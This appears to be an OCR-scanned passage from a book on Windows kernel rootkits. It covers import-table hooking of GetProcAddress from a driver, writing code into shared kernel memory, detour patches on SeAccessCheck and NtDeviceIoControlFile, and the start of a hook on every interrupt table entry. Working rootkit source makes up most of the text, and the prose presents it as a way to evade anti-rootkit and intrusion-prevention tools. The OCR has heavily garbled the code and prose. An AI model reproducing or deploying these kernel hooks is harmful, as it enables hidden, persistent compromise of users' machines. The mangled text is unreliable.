I N HANDLE Processld, // Process contains inage

I N Pl MAGE_I NFO | magel nf 0)

UNI CODE_STRI NG u_t arget DLL;
[ DbgPrint ("I mge nanme: %ws\n", FulllnmageNane->Buffer);
/1l Setup the name of the DLL to target
Rt 1nitUnicodeString(&u_targetDLL,
L"\\ W NDOWE\ \ syst enB2\\ kernel 32.dI | ");
i f(Rt| ConpareUni codeString(FulllmageNane, &_target DLL, TRUE) == (

{

Hookl nmpor t sOF | mage( | magel nf o- > nageBase, Processld);

HooklImportsOfl mage walks the PE file in memory. Most Windows binaries are in the Portable
Executable (PE) format. In memory, the file looks much like it does on disk. Most of the items
contained in the PE are Relative Virtual Addresses (RVAS). These are offsets to the actual datarelative
to where the PE isloaded in memory. Y our rootkit should parse the PE of each module, looking at all
the DLLsit imports.

You first need the RVA of theimport section, the IMAGE_DIRECTORY_ENTRY _IMPORT of the
DataDirectory. Adding this RV A to the beginning address of the module in memory (dosHeader in this
case) yields a pointer to the first IMAGE_IMPORT_DESCRIPTOR.

Every DLL imported by the module has a corresponding IMAGE_IMPORT_DESCRIPTOR structure.
When your rootkit reaches one that has a0 in its Characteristics field, you know you have reached the
end of the DLLs this module imports.

Contained in each IMAGE_IMPORT_DESCRIPTOR structure (besides the last structure) are pointers
to two separate arrays. One isapointer to an array of addresses for each function the module imports
from the given DLL. Use the FirstThunk member of the IMAGE_IMPORT_DESCRIPTOR to reach the
table of addresses. The OriginalFirstThunk in the IMAGE_IMPORT_DESCRIPTOR isused to find the
array of pointersto IMAGE_IMPORT_BY _NAME structures, which contain the names of the imported
functions unless the functions are imported by ordinal number. (Importing functions by ordinal number
will not be covered here because most functions are imported by name.)



HookImportsOflmage scans all modules to determine whether they import the GetProcAddress function
from KERNEL32.DLL. If it findsthis AT, it changes the memory protections on the IAT using code
explained in the section Hooking the System Service Descriptor Table, earlier in this chapter. Once the
permissions are changed, your rootkit can overwrite the addressin the IAT with the address of the hook,
aswill be explained next.

NTSTATUS Hookl npor t sOF | mage( Pl MAGE_DOS_HEADER i mage_addr, HANDLE h_pr o«
{

Pl MAGE_DOS HEADER dosHeader ;

Pl MAGE_NT_HEADERS pNTHeader ;

Pl MAGE | MPORT_DESCRI PTOR i npor t Desc;

Pl MAGE_| MPORT_BY_NAME p_i bn;

DWORD i nportsSt art RVA,

PDWORD pd_I AT, pd_I NTO

int count, index;

char *dl| _name = NULL;

char *pc_dlltar "kernel 32.dl|";

char *pc_fnctar "CGet ProcAddr ess";
PVDL p_ ndl;

PDWORD Mappedl| mrabl e;

dosHeader

(Pl MAGE_DOS HEADER) i nage_addr;

pNTHeader MakePt r (Pl MAGE_NT_HEADERS, dosHeader,

dosHeader ->e_| fanew );

[l First, verify that the e |fanew field gave us a reasonabl e
/1l pointer, then verify the PE signature.

i f ( pNTHeader->Signature != | MAGE_NT_SI GNATURE )



return STATUS | NVALI D_| MAGE_FORNVAT,

I mport sSt art RVA = pNTHeader - >Opt i onal Header . Dat aDi rect ory
[ 1 MAGE_DI RECTORY_ENTRY_|I MPORT] . Vi rt ual Addr ess;
I f (!inportsStartRVA)

return STATUS_I| NVALI D_I MAGE_FORNVAT,;

i nport Desc = (Pl MAGE | MPORT_DESCRI PTOR) (i nportsStart RVA +
(DWORD) dosHeader) ;
for (count = 0; inportDesc[count].Characteristics != 0; count++)

{
dl 1 _nanme = (char*) (inportDesc[count].Nane + (DWORD) dosHeader);

pd | AT = (PDWORD) (( ( DWORD) dosHeader) +
(DWORD) i npor t Desc[ count] . Fi r st Thunk) ;
pd_I NTO = ( PDWORD) ( ((DWORD) dosHeader) +
(DWORD) i nport Desc[ count]. Ori gi nal Fi rst Thunk) ;
for (index = 0; pd_IAT[index] != 0; index++)
{
[l 1f this is an inport by ordinal
/1 the high bit is set
i f ((pd_I NTJindex] & | MAGE_ORDI NAL_FLAG)!= | MAGE_ORDI NAL_FLAG
{
p_i bn = (Pl MAGE_I| MPORT_BY_NAME)
(pd_I NTJ i ndex] +( ( DAORD)

dosHeader)) ;



if ((_stricmp(dll_name, pc_dlltar) == 0) &&

(strcnp(p_i bn->Nane, pc_fnctar) == 0))

/'l Use the trick you already learned to nmap a different
/'l virtual address to the sane physical page so no
/'l perm ssion problens.
/1
/1 Map the nenory into our donain so we can change the
/'l perm ssions on the ML
p_nmdl = MrCreateMll (NULL, &pd | AT[i ndex], 4);
if(!p_ndl)
return STATUS UNSUCCESSFUL;
MrBui | dMdl For NonPagedPool (p_ndl ) ;
/'l Change the flags of the ML
p_mdl - >Mldl Fl ags = p_ndl - >MlI Fl ags |
MDL_MAPPED TO SYSTEM VA:;

Mappedl mrabl e = MrivapLockedPages(p_ndl, Kernel Mode);

/1l Address of the "new function”

*Mappedl nifabl e = d_shar edM

/'l Free NDL
MrUnmapLockedPages( Mappedl mrabl e, p_ndl);

| oFreeMdl (p_ndl);



}
return STATUS SUCCESS;

Now you have a callback in place that will be called when every image (every process, device driver,
DLL, etc.) isloaded into memory. Y our code has searched every image, checking if it imports the target
of your hook. If the target function isfound, its addressin the IAT isreplaced. All that remainsisto
write the rootkit function to which the IAT points.

If you are hooking every process on the system, you need a memory address for your hook that isvisible
to all the processes address spaces. In the following section, we cover thisissue.

Memory Space for Hooks

One of the problems with userland hooks is that your rootkit must usually allocate space within the
remote process in order to write parameters for LoadLibrary, or to write code. Thisisared flag for
protection software. However, thereisaregion in the kernel to which you can write and that will get
mapped into every process address space. Thisis the technique used by Barnaby Jack in his paper
"Remote Windows Kernel Exploitation: Step into the Ring 0."[10 The trick takes advantage of the fact
that two virtual addresses map to the same physical address. The kernel address, OxFFDFO000, and the
user address, Ox7FFEQ0QO, both point to the same physical page. The kernel addressis writable, but the
user addressis not. Y our rootkit can write code to the kernel address and reference it as the user address
inthe AT hook.

(19 B. Jack, "Remote Windows Kernel Exploitation: Step into the Ring 0" (Aliso Vigjo, Cal.: eEye Digital Security,
2005), available at: http://www.eeye.com/~data/publish/whitepapers/research/OT20050205.FIL E.pdf

The size of this shared region is4 K. The kernel uses some of this space, but your rootkit should still
have available about 3 K for code and variables.

The name of thismemory areaisKUSER_SHARED_DATA. For amore detailed explanation of this
shared region, in WinDbg type: dt nt! _KUSER_SHARED DATA.

Asan example of writing to KUSER_SHARED_DATA, we will write eight bytes to the address we will
name d_sharedK. For thefirst byte, which is an opcode, use aNOP instruction or an INT 3 (break)
instruction if you want to observe the behavior. (Y ou should have a debugger running that will catch the
INT 3if you decideto useit.) The next seven bytes smply move adummy address into EAX and then
jump to that address. When your rootkit findsthe IAT of the function it wants to hook, it will overwrite
this dummy address with the original address of the function. Y our rootkit would have to write a much
more advanced function to memory to truly filter afunction's output, but that is beyond the scope of this
chapter.

DWORD d_sharedM = 0Ox7ffe0800; // A User Address



DWORD d_sharedK = Oxffdf 0800;
/] Little detour

unsi gned char new_code[] = {

/1 A Kernel

Addr ess

/] NOP make INT 3 to see

Oxffffffff

0x90,
Oxb8, Oxff, Oxff, Oxff, Oxff, // nov eax,
Oxff, OxeO /'l jnp eax
3
I f (!gb_Hooked)
{
/1 Witing the raw opcodes to nenory
/'l uses a kernel address that gets mapped
/1l into the address space of all processes.
/1 Thanks to Barnaby Jack for this tip.
Rt | CopyMenory((PVA D) d_sharedK, new code, 8);
/1 pd_ I AT[i ndex] hol ds the original address
Rt | CopyMenory( (PVA D) (d_sharedK+2), (PVA D) &d_| AT[ i ndex], 4);
gb_Hooked = TRUE;
}
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Y ou can find the code for this hybrid hook example at:

www.rootkit.com/vault/fuzen_op/HybridHook.zip

Now you have atemplate for a hybrid rootkit that hooks userland addresses but does so from adriver.
Aswith most of the techniques in this book, you could use this algorithm to write arootkit or to hook
potentially dangerous functions, thus providing an additional layer of protection. In fact, many



protection software suites call PsSetlmagel. oadNotifyRoutine.

Conclusion

In this chapter, we provided alot of information about hooking tables of function pointers, both in
userland and in the kernel. Kernel hooks are preferred, because if a detection/protection software suiteis
looking for your rootkit, you may employ all the power of the kernel to evade or defeat it. Kernel-level
access provides a vast number of placesto hide from or ways to defeat the enemy. Since stealthisa
primary goal for your rootkit, filtering in some fashion isamust.

Hooking istruly a dual-use technology. It is used by many public rootkits and other malicious software,
but it is also used by anti-virus software and other host-protection products.



Chapter 5. Runtime Patching

All 1 need to find you, Louis, is follow the corpses of rats.
INTERVIEWWI TH THE VAMPIRE, ANNE RICE

Call hooks and other methods of modifying software logic are powerful for sure, but they're old
techniques, they're well published, and they're easily detected by anti-rootkit technology. Runtime
patching offers a more-obscure way to achieve the same results. Runtime patching is not new, but in the
published material relating to rootkitsit typically has not been showcased.

Most material relating to code patches goes back to the days of software cracking and piracy. But
applied in rootkits, runtime patching is one of the most advanced techniques possible. Armed with this
technigue, you should be able to build undetectable rootkits, even against modern intrusion-prevention
systems. If you combine runtime patching with low-level hardware manipulation (such as page-table
management,) you will be operating on the bleeding edge of rootkits.

Thelogic of software can be modified in several ways. The most obvious way isto modify the source
code and then recompile the software. Thisisthe practice of developers. The second way isto directly
modify the bits and bytes that result from compilationthe binary software. Thisis what software crackers
do, and is the basic approach to removing copy protection on software. The third way isto modify the
datathat is stored in memory when the software executes. In-memory data structures control how a
program behaves; thus, changing this data changes the program logic. Good examples of this are "game
trainers' that alter gamesto, for example, give the player 10 million gold pieces.

Modifying code logic is simple in comparison to rewriting or replacing files on the system with Trojan
devices. By flipping afew bytes here and there, you can turn off most security functions. Of course, you
have to be able to read and write the memory where these security functions reside. Since our rootkits
operate from the kernel, we have full access to the memory space of the computer, so thistypically isn't
aproblem.

In this chapter you will learn how to modify code logic using one of the strongest methods available: the
direct code-byte patch method. Y ou also will learn how to combine this with other powerful methods,
such as detour patching and jump templates, to develop avery deadly and hard-to-detect rootkit.



Detour Patching

In Chapter 4 , we saw the power of using call hooks as a convenient way to modify program behavior.
One downside of the call hook isthat it modifies call tables, and this can be detected by anti-virus and
anti-rootkit technology. A subtler approach to the problem isto patch the bytes within the function itself
by inserting a jump into rootkit code. Additionally, modifying just a single function can affect multiple
tables pointing to that function, without the need to keep track of all the tables that point to the function.
Thistechniqueis called detour patching, and can be used to reroute the control flow around afunction.

Figure 5-1 illustrates how code isinserted by the rootkit into the control flow.

Figure 5-1. Modification of control flow.
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Aswith acall hook, we can insert rootkit code to modify arguments before and after a system call or
function call. We can also make the original function call asif it had never been patched. Finally, we can
rewrite the logic of the function call altogether. For example, we can make the call aways return a
certain error code.

Detour patching is best illustrated by example. The technique requires several steps which are detailed in
the following sections.

Rerouting the Control Flow Using MigBot

Migbot is an example rootkit that illustrates detour patches on kernel functions.
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MigBot can be downloaded from rootkit.com at: www.rootkit.com/vault/hoglund/migbot.zip

MigBot reroutes the control flow from two important kernel functions: NtDevicel oControlFile, and
SeA ccessCheck.

Rerouting a function requires first finding the function in memory. An advantage of the two functions
we have chosen is that they are exported. This makes them easier to locate, because thereis atablein the
PE header where we can perform alookup to find them. In the code for MigBot, we ssimply refer to the
functions by their exported names. Because they are exported, there is no need to hunt through PE
headers and such.[!]

(1] The technique of hunting through PE headersis covered in Chapters 4 and 10 .

It ismoreinvolved to patch afunction that is not exported: It may require searching memory for unique
byte sequences in order to find the desired function.

Once we have a pointer to the function, the next step is to know exactly what we're overwriting.
Changing op codes in memory is destructive. If you install afar jump, you will overwrite at least 7 bytes
of memorydestroying any instructions that previously existed there. Later, you will need to recreate the
logic or restore those instructions somehow.

Instruction alignment is also a problem (especially with the Intel x86 instruction set). Not all instructions
are of the same length. For example, a PUSH instruction might be only one byte long, and a IMP
instruction might be seven bytes long!

In our example, we wish to overwrite seven bytes of data, but the instructions we will be overwriting
take up more than seven bytes of space. Therefore, if we patch only the seven bytes, we end up leaving
in place ahaf-bitten chunk of the last instruction we overwritea "crumb,” if you will. The partial
instruction left behind, in fact, isjust corruption at this point. The CPU will get very confused if it tries
to execute a corrupted instruction; in other words, it will cause a crash, and the user will see aBlue
Screen of Death.

Leaving alittle "chunk™ behind, then, would really mess things up. Because a partial instruction would
be misinterpreted by the processor and cause your code to crash, you will need to NOP out any crumbs
that are left behind. In other words, you must overwrite to the nearest aligned instruction border. It'sa
Good Thing that the NOP is only one byte longthis makes it very easy to patch out code bytes. In fact,
thisis by design: The NOP instruction was made 1 byte long specifically so it would provide more
utility for patching code (in other words, Someone Who Came Before Us Thought of This).

Figure 5-2 illustrates the overwrite process. The new instruction, afar j np , isinserted along with two
NOP instructions in order to pad out the patch without leaving a" crumb™ behind.

Figure 5-2. Procedure for code patching.



Original function bytes

556 | 8B | EC | 53 | 33 | DB | 38 | 56D | 24

FUSH MOV PUSH XOR ChP

What we wish to insert

EA | AA | AA | AA | AA | 08 | 00

FAR JMP

CMP

f

A “cut off” CMP instruction—we
can't leave this hera!—

The required patch
EA | AA | AA | AA | AA | 08 00 | 90 | 90

FAR JMP NOP NOP

f

—S0 we insert NOP to “pad
out" the leftovers.

To successfully patch over instructions without causing corruption, it is also necessary to ensure that the
patch is applied to the correct version and location in memory. This step requires specia attention
because the target software may be patched, or different versions of the code may exist. If we don't
perform some sanity checking, we may patch the wrong version, causing corruption and crashes.

Checking for Function Bytes

Before we overwrite a function with ajump, we need to perform various checks to make sure the
function is the one we expect it to be. Verifying that it has the same name, for example, is not sufficient:
What if the OSisadifferent version of Windows ("home" versus "professional” edition, for example)
than the one for which the rootkit was written? Or, what if a service pack had been installed and has
changed the function? It is even possible that another program has already set up camp and patched the
function before us. Modifying the code bytes of the function without first checking to ensure that the
function is as expected could result in corruption and a subsequent Blue Screen of Death.

MigBot includes two steps for checking function bytes. The first retrieves a pointer to the function, and



the second performs a simple byte comparison to a hard-coded value we expect to find there. Y ou can
determine what bytes are there by using Softlce or another kernel debugger, or by disassembling the
binary with atool such as DA Pro.

Make sure you keep track of the length of the byte sequence being tested. Notice in the following code
that one sequenceis 8 bytes long, and the other is 9 bytes long:

NTSTATUS CheckFuncti onByt esNt Devi cel oControl Fi |l e()
{
int i=0;
char *p = (char *) Nt Devi celoControl Fil e;
/1 The begi nning of the Nt DeviceloControl File function
/I shoul d mat ch:
/155 PUSH EBP
/1 8BEC MOV EBP, ESP
/1 6A01 PUSH 01

/I FF752C PUSH DWORD PTR [ EBP + 2(]

char c[] = { Ox55, 0x8B, OxEC, O0x6A, 0x01, OxFF, 0x75, 0x2C };
whi | e(i <8)
{
DogPrint (" - Ox%2X ", (unsigned char)p[i]);
if(pli] !'=c[i])
{
return STATUS_UNSUCCESSFUL;

return STATUS SUCCESS;



}
NTSTATUS CheckFuncti onByt esSeAccessCheck()

{
i nt i=0;
char *p = (char *)SeAccessCheck;
/| The begi nning of the SeAccessCheck function
/ / shoul d mat ch:
/155 PUSH EBP
/1 8BEC MOV EBP, ESP
/153  PUSH EBX
/133DB XOR EBX, EBX
/1385D24 CMP [ EBP+24], BL

char c[] = { O0x55, 0x8B, OxEC, 0x53, 0x33, O0xDB, 0x38, 0x5D, 0x24 };

whi | e(i <9)
{

DogPrint (" - Ox%2X ", (unsigned char)p[i]);
if(pli] '=c[i])

{

return STATUS_UNSUCCESSFUL;

}

i ++
}

return STATUS_SUCCESS;



Keeping Track of the Overwritten Instructions

Once you overwrite these instructions with your patch, the instructions are gone! But consider that these
instructions do something importantthey modify the stack and set up some registers. If we later wish to
run the original function, we will need to execute the missing instructions.

Since we know exactly what instructions we removed, we can store them in another location and
execute them before branching back to the original function. Figure 5-3 illustrates this technique.

Figure 5-3. Executing the removed instructions.
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After the detour has taken place, Migbot simply branches back to the original function. Thisisa
template you can use to insert whatever code you choose.

Therootkit code is written as afunction, but the function is declared as "naked.” This preventsthe
compiler from putting any extra opcodes into the function. Thisisimportant, since we don't want to
corrupt the stack or any registers. Y ou can see in the following code that the missing instructions are
executed, and then afar jump takes place.

Of specia note is the technique used to code the far jJump. Since the author could not figure out the
syntax for afar jump using the DDK compiler, he instead used theeni t keyword to force bytesto be
output. Thisisauseful technique not just for encoding an obscure instruction, but also for self-
modifying code and hard-inserted strings.

/1 Naked functions have no prol og/epil og code-
/'l they are functionally |ike the
/'l target of a goto statenent

__decl spec(naked) ny_function_detour_seaccesscheck()

{



asm

/] exec m ssing instructions

push ebp

nov ebp, esp

push ebx

xor ebx, ebx

cnp [ ebp+24], bl

/1 Junp to reentry location in hooked function

/1l This gets "stanmped" with the correct address

[l at runtine.

/Il

/1 W need to hard-code a far jnp, but the assenbler
/1 that comes with the DDK will not assenble this out
/1l for us, so we code it nanually.

/1 jnp FAR 0x08: OxAAAAAAAA

_emt OxEA

_emt OxAA

_emt OxAA

_emt OxAA

_emt OxAA

_emt 0x08

emt Ox00

}

/1 We read this function into non-paged nenory



/'l before we place the detour. It seens that the

/'l driver code gets paged now and then, which is bad

/1 for children and other |iving things.

__decl spec(naked) nmy_function_detour _ntdeviceiocontrolfile()

{

asm

/| exec m ssing instructions
push ebp
nov ebp, esp
push 0x01
push dword ptr [ebp+0x2C]
/1 Junp to reentry location in hooked function
/1l This gets "stanmped" with the correct address
[l at runtine.
/1
/1 We need to hard-code a far jnp, but the assenbler
/'l that cones with the DDK will not assenble this out
/1 for us, so we code it nmanually
/1 jnp FAR 0x08: OxAAAAAAAA
_emt OxEA
_emt OxAA
_emt OxAA
_emt OxAA
emt OXAA

emt Ox08



_emt 0x00

Using NonPagedPool Memory

The code for your rootkit function resides in your driver memory. However, it does not need to stay
there. Especially if your driver is going to be pageable, your rootkit code needs to be moved into a
location where it will never be paged out. Thisis NonPagedPool memory. An interesting added benefit
isthat once the rootkit code has been placed in NonPagedPool, the driver itself can be unloaded, asthe
rootkit driver must be loaded only long enough to apply the patch. The MigBot example uses
NonPagedPool to store rootkit code, as does the jump-template technique detailed later in this chapter.

Runtime Address Fixups

Y ou will notice in the following code that we have FAR JMP instructions that jump to the addresses
OXAAAAAAAA and 0x11223344. These values are clearly not validbut thisis on purpose. The values
are to be replaced with valid addresses when the patch is placed. These values cannot be hard coded
because they change at runtime. The rootkit can determine the correct addresses needed, and can "stamp
in" the correct values at runtime.

VO D Det our Functi onSeAccessCheck()
{
char *actual function = (char *)SeAccessCheck;
char *non_paged nenory;
unsi gned | ong det our _address;
unsi gned | ong reentry_address;

int i = 0;

The following code will be written over the original instructions. Note the use of the NOP instructionsto
pad out the distance:



/'l Assenbles to jnp far 0008: 11223344 where 11223344
/'l is the address of our detour function plus two NOPs
/1l to align the patch.

char newcode[] = { OxEA, 0x44, 0x33, 0x22, 0x11,

0x08, 0x00, 0x90, 0x90 };

Now areentry addressis calculated. Thisisthe addressin the original function that immediately follows
the patched location. Notice that we add 9 (the length of the patch) to the function pointer to obtain this
address:

/'l Reentering the hooked function at a | ocation past the
/'l overwitten opcodes alignnment is, of course, very
/'l inportant here.

reentry _address = ((unsigned |ong)SeAccessCheck) + 9;

Now some NonPagedPool is alocatedenough to store the rootkit code. Next, the rootkit code is copied
into the newly allocated memory. The detour patch will then branch to this new code location. The
contents of the rootkit code (the naked function we declared earlier) are copied, byte for byte, into the
NonPagedPool memory. The pointer to the beginning of this new copy of the function is stored.

non_paged_nenory = EXAl | ocat ePool ( NonPagedPool , 256);
/| Copy contents of our function into non-paged nenory
/Il with a cap at 256 bytes.
/'l (Beware of possible read off end of page FI XME.)
for(i=0;i<256;i++)
{

((unsigned char *)non_paged nenory)[i] =



((unsigned char *)my_function_det our _seaccesscheck)[i];

}

det our _address = (unsigned | ong)non_paged_nenory;

Now it'stimefor alittle magic. The address of our new copy of the rootkit function is placed into the
patch, so the patch will properly FAR JMP to the rootkit code instead of to 0x11223344:

/'l stanp in the target address of the far jnp

*( (unsigned long *)(&newcode[1l]) ) = detour_ address;

Again, another address fixup: Thistime, in the rootkit code we search for the OXAAAAAAAA address.
When we find it, we replace it with the reentry address calculated earlier. Again, thisisthe addressin
the original function that immediately follows the patched location.

/1 Now, "stamp in" the return jnp into our
/'l detour function:

for(i=0;i<200;i ++)

{

I f( (OXAA == ((unsigned char *)non_paged nenory)[i]) &&
(OXAA == ((unsigned char *)non_paged nenory)[i+1]) &&
(OXAA == ((unsigned char *)non_paged nenory)[i+2]) &&
(OXAA == ((unsigned char *)non_paged _nenory)[i +3]))

{

/'l we found the address OxAAAAAAAA
/'l stanp it w the correct address
*( (unsigned long *)(&non_paged nenory[i]) ) =

reentry_address;



br eak;

}
/1 TODO, raise | RQL

/1 Overwrite the bytes in the kernel function
/1l to apply the detour jnp.

for(i=0;i < 9;i++)

{

actual _function[i] = newcode[i];

}
/1 TODO, drop | RQL
}
/1 The sane logic is applied to the Nt DeviceloControl patch:
VO D Det our Funct i onNt Devi cel oControl Fi |l e()
{

char *actual function = (char *)N Devi celoControl Fil e;

char *non_paged_nenory;

unsi gned | ong det our address;

unsi gned | ong reentry_address;

int i = 0;
/'l Assenbles to jnp far 0008: 11223344 where 11223344
/Il is the address of our detour function, plus one NOP
/'l to align the patch

char newcode[] = { OxEA, 0x44, 0x33, 0x22, 0x11,
0x08, 0x00, 0x90 };

/'l Reentering the hooked function at a |ocation past



/'l the overwitten opcodes alignnent is, of course,
/1l very inportant here.
reentry_address = ((unsigned | ong) Nt Devi cel oControl File) + 8;

non_paged_nenory = EXAl | ocat ePool ( NonPagedPool , 256);

/1 Copy contents of our function into non-paged nenory
/1 with a cap at 256 bytes (beware of possible read
/1l off end of page FI XME).
for(i=0;i<256;i ++)
{
((unsigned char *)non_paged nenory)[i] = ((unsigned char *)
ny_function_det our _ntdevi ceiocontrolfile)[i];
}
det our _address = (unsigned | ong)non_paged nenory;
/] Stamp in the target address of the far jnp.
*( (unsigned long *)(&ewcode[1l]) ) = detour_address;
/1 Now, stanp in the return jnp into our
/'l detour function.
for(i=0;i<200;i++)
{
i f( (OXAA == ((unsigned char *)non_paged nenory)[i]) &&
(OXAA == ((unsigned char *)non_paged nenory)[i+1]) &&
(OxXAA == ((unsigned char *)non_paged nenory)[i +2]) &&

(OxAA == ((unsigned char *)non_paged nenory)[i +3]))

[/ We found the address OxXAAAAAAAA:



/1l stanp it with the correct address.
*( (unsigned long *)(&on_paged nmenory[i]) ) =
reentry_address;

br eak;

}
[/ TODO raise | RQL

/1 Overwrite the bytes in the kernel function
/1l to apply the detour jnp.

for(i=0;i < 8;i++)

{

actual _function[i] = newcode[i];

}
/1 TODO, drop | RQL

}

The DriverEntry routine simply checks for the correct function bytes and then applies the detour
patches:

NTSTATUS DriverEntry( I N PDRI VER_OBJECT theDriver Qoj ect,

I N PUNI CODE_STRI NG t heRegi stryPath )

DogPrint("My Driver Loaded!");

i f (STATUS_SUCCESS ! = CheckFuncti onByt esNt Devi cel oControl File())

{



DbgPrint ("Match Failure on Nt DeviceloControlFile!");
return STATUS UNSUCCESSFUL;

}
I f (STATUS_SUCCESS ! = CheckFuncti onByt esSeAccessCheck())

{
DbgPrint ("Match Failure on SeAccessCheck!");

return STATUS_UNSUCCESSFUL;

Det our Functi onNt Devi cel oControl Fil e();
Det our Functi onSeAccessCheck();

return STATUS SUCCESS;

Y ou have now learned a powerful technique of detour patching. The example code has given you the
basic tools required to use this technique. From these basic tools, you can craft more-complex attacks
and modifications against code. The technique is very strong, and can easily evade most rootkit-
detection technologies.

The next section will detail adlightly different way to use code patchesin order to hook the interrupt
table.



Jump Templates

We now detail atechnique called jump templates. This technique can be used in avariety of ways, but
we illustrate it with ahook on the interrupt table.

The following example counts the number of times each interrupt is called. Instead of patching the
interrupt service routine (1SR) directly, we craft aspecial bit of code that will be executed for each ISR.
To do this, we start with atemplate. In this case, we make hundreds of copies of the templateone for
each ISR. That is, instead of creating a single hook, we create an individual hook for each entry in the
IDT.

Rootkit.com

The following example can be downloaded from rootkit.com at the address:
www.rootkit.com/vault/hoglund/basic_interrupt_3.zip

Because each interrupt service routine exists at a different address, and therefore the reentry addressis
unique for each one, we must introduce a new technique that allows each individual entry to be hooked
with unique jump details.

In the previous example, the rootkit code itself jumped back into the original function. That method
works only when thereisjust a single hook. Instead of re-coding the same function hundreds of times
we use a jump template to call into the rootkit code and then branch back to the original function.

The jump template is replicated for each interrupt routine. The FAR JMP address in each replicated
copy isfixed up uniquely for each corresponding interrupt routine.

Figure 5-4 illustrates this technique. Each template calls the same rootkit codewhich in thiscaseis
treated like anormal function. A function always returnsto its caller, so we don't need to worry about
runtime address fixups in the rootkit code. This technique allows specific, unique code to be applied to
each ISR hook. In our example, the unigque code holds the correct interrupt number for each interrupt
handler.

Figure 5-4. Use of jump templates.
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The Interrupt Hook Example

The code sets up to work with the interrupt table:

/' BASI C | NTERRUPT HOOK part 3

/! This hooks the entire table

#i ncl ude "ntddk. h"
#i ncl ude <stdio. h>
/| debuggering

/'l #define _DEBUG

#defi ne MAKELONG(a, b) ((unsigned long) (((unsigned short) (a)) | ((uns



((unsigned short) (b))) << 16))
/] Set this to the max int you want to hook.
#defi ne MAX_| DT_ENTRI ES 0x100
/'l The starting interrupt for patching
/[l to "skip" sone troublesone interrupts
/1 At the beginning of the table (TODO find out why)
#def i ne START_I| DT_OFFSET 0x00
unsigned long g i _count[ MAX | DT_ENTRI ES] ;
unsigned long ol d | SR pointers[ MAX | DT_ENTRIES]; // Better save
/1 the old onel

char * idt_detour _tabl ebase;

NNy
/1 I DT structures
PITTTEE gy
#pragma pack(1)
/1l Entry in the IDT; this is sonetines called
/[l an "interrupt gate."
t ypedef struct
{
unsi gned short Low(Of fset;
unsi gned short selector;
unsi gned char unused_| o;
unsi gned char segnent type:4; //OxXxOE is an interrupt gate
unsi gned char system segnent flag: 1;

unsi gned char DPL:2; // descriptor privilege |evel



unsi gned char P:1; /* present */
unsi gned short H O fset;
} | DTENTRY;,
[* sidt returns idt in this format */
t ypedef struct
{
unsi gned short IDTLimt;
unsi gned short Low DTbase;
unsi gned short Hil DTbase;
} 1 DTI NFO

#pragma pack()

The preceding code comprises the jump template. First it saves all registers, including the flags register.
Thisisvery important. The template will later call another function provided by the rootkit, so we want
to make sure nothing gets corrupted in the registers, lest we trigger a crash when we call the origina
interrupt routine.

There are two versions of the jump template, depending on whether we have compiled under debug
mode or release mode. The debug version does not actually call the rootkit codethe call is NOP'd out. In
the release version, after the registers are saved, the call takes place and then the registers are restored (in
reverse order, of course). The call isdefined asst dcal | , which means the function will clean up after
itself.

Finally, note the code that moves avalue into EAX and then pushes this onto the stack. This value will
be "stamped" with the interrupt number when DriverEntry runs. That is how the rootkit code will know
which interrupt has just been called.

#i f def _DEBUG

/'l Debuggering version nops out our "hook."
/1 This works with no crashes.

char junmp_tenmplate[] = {

0x90, / I nop, debug



0x60,
0x9C,
OxB8,
0x90,
0x90,
0x90,
0x9D,
0x61,
OXEA,
3

#el se

/ | pushad

/ | pushfd
OxAA, 0x00, 0x00, 0x00,

/ | push eax
0x90, 0x90, 0x90, 0x90,

/| pop eax

/ | popfd

/ | popad

Ox11, 0x22, 0x33, 0x44,

char jump_tenplate[] = {

0x90,
0x60,
0x9C,
0x B8,
0x50,
Ox9A,
0x58,
0x9D,
0Ox61,
OXEA,
3

#endi f

The following code shows the function that is called for each interrupt. The function simply counts the

/ I nop, debug
/ | pushad
/ | pushfd
OxAA, 0x00, 0x00, 0x00,
/| push eax
0x11, 0x22, 0x33, 0x44,
/| pop eax
/ | popfd
/ | popad

Ox11, 0x22, 0x33, 0x44,

[/ nmov eax, AAh
0x90, 0x90, [//call 08:44332211h
0x08, 0x00 //jnp 08:44332211h

[/ mov eax, AAh
0x08, 0x00, //call 08:44332211h
0x08, 0Ox00 //jnp 08:44332211h



number of times each interrupt is called. The interrupt number is passed in the argument. Note the use of
the multiprocessor-safe I nterlockedl ncrement to increment the interrupt counter. The interrupt counters
are stored asaglobal array of unsigned longs.

/'l Using stdcall nmeans that this function fixes the stack
/'l before returning (opposite of cdecl).
[l Interrupt nunber passed in EAX
void _ stdcall count _interrupts(unsigned |ong inunber)
{
/1 TODO, may have col lisions here?
unsi gned | ong *aCount P;
unsi gned | ong aNunber;
/!l Due to far call, we need to correct the base pointer.
/'l The far call pushes a double dword as the return address,
/1 and | don't know how to nake the conpiler understand this
/[l is a _far __stdcall (or whatever it's called).
/'l Anyway:
/1
/'l [ebp+0Ch] == argl
/1
__asmnov eax, [ebp+0Ch]
__asm nov aNumber, eax
// __asmint 3

aNunber

aNunber & 0xO0O0O0O0OO0OOFF

aCount P

&g i _count [ aNunmber];

I nt erl ockedl ncrenent (aCount P) ;



The DriverEntry routine applies the patch, performs the fixups, and makes the jJump templates for each
entry in the interrupt service table:

NTSTATUS DriverEntry( I N PDRI VER_OBJECT t heDriver Cbject, |IN PUNI CODE_S
t heRegi stryPath )
{

IDTINFO idt_info; // This structure is obtained
/'l by calling STORE IDT (sidt)...

| DTENTRY* idt _entries; // ...and then this pointer is
/1l obtained fromidt info.

| DTENTRY* i ;

unsi gned | ong addr;

unsi gned | ong count;

char _t[255];

t heDriver Qbj ect->DriverUnl oad = OnUnl oad;

At this point, weinitialize the global interrupt count table. Thiswill store the number of times each
interrupt is called. The interrupt number corresponds to the offset in the array.

for (count =START _| DT_COFFSET; count <MAX | DT_ENTRI ES; count ++)

{

g_i _count [ count] =0;

/1 load idt_info

_asm sidt idt_info



idt _entries = (I DTENTRY*) MAKELONGE i dt_i nfo.Low DTbase,
i dt _i nfo. H | DTbhase);
The original values in the interrupt table are stored off so that we ci
when we unl oad:
LEEEEETEEE bbb irrl
/1 Save old idt pointers.
FELTTETEEE bbb bbb rrrrrri

for (count =START_| DT_OFFSET; count < MAX | DT_ENTRI ES; count ++)

{

| = & dt_entries[count];

addr = MAKELONG i - >LowCf fset, i->H O fset);

_snprintf( _t, 253, "Interrupt %l: ISR 0x%08X",
count, addr);

DbgPrint (_t);

ol d_I SR _poi nters[count] =
MAKELONG( idt_entries[count].LowX fset,

i dt _entries[count]. H O fset);

}

At this point, enough memory is allocated to store all the jump templates. Thisis placed in
NonPagedPool, of course.

